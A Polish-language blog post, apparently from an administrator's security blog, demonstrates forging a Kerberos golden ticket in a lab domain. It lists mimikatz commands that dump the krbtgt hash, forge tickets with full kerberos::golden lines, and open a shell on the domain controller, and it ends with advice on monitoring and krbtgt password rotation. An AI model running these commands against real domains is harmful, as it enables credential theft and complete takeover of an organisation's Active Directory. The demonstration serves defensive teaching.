W jednym z poprzednich wpisów pokazywałem jak zmienić hasło konta krbtgt, aby zmniejszyć ryzyko wykorzystania golden ticketu. W tym poście pokażę w jaki sposób taki ticket wygenerować.
Na początek co trzeba, aby utworzyć golden ticket:
- Nazwa domeny
(Get-ADDomain).DNSRoot
- SID domeny
(Get-ADDomain).DomainSID.Value
- Hash hasła konta krbtgt – tutaj można go zdobyć kilkoma metodami. Jedną, opartą o protokuł MS-DRSR opisałem tutaj. Druga to skorzystanie z narzędzia mimikatz, w tym wpisie skorzystam właśnie z tego sposobu.
privilege::debug
lsadump::lsa /inject /name:krbtgt
Interesuje nas tutaj wartość Primary NTLM, u mnie jest to 0c6ca5490102c0ec283a50af4f11cd15
- ID użytkownika, w imieniu którego będziemy występować o ticket – korzystam z SID użytkownika, który nie posiada uprawnień administratora w Active Directory – S-1-5-21-3339816579-1985724835-2732521616-1267, ale można użyć tutaj także użytkownika, który nie istnieje w AD
Mając te dane możemy użyć ponownie mimikatz-a, żeby wygenerować golden ticket.
kerberos::golden /domain:krbtgt.pl /sid:S-1-5-21-3339816579-1985724835-2732521616 /rc4:0c6ca5490102c0ec283a50af4f11cd15 /user:jack.nelson /id:S-1-5-21-3339816579-1985724835-2732521616-1267 /ptt
kerberos::golden /domain:krbtgt.pl /sid:S-1-5-21-3339816579-1985724835-2732521616 /rc4:0c6ca5490102c0ec283a50af4f11cd15 /user:blablabla /id:500 /ptt
Mamy to!
Golden ticket został wygenerowany. Jak widzicie czas ważności, czy też przedawnienia się „biletu” wynosi 10 lat, co w przypadku standardowych wartości dla ticketów użytkownika jest kosmiczną wartością (typowe tickety są ważne od kilku godzin do 7 dni)
Teraz spróbujmy zrobić z niego użytek. Zalogujmy się na kontroler domeny
misc::cmd
Mając mityczny Golden Ticket wszystkie drzwi w AD są dla nas otwarte bez ograniczeń. Dlatego ważne jest by dbać o nasze środowisko i monitorować próby użycia GT oraz chronić się przed jego wystawieniem regularnie zmieniając hasło konta krbtgt. Jak to zrobić znajdziecie tutaj